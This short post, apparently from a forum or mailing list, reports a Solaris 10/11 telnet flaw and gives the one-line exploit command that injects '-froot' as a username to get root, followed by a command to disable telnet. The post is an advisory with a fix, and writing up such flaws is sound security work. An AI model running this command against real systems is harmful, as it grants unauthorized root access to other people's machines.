0-Day in Solaris 10 and 11

telnet -l "-froot" ip_addr
will get you root on most solaris 10/11 with default configs.

So disable youe telnet service when system installed will be advised.
#svcadm disable telnet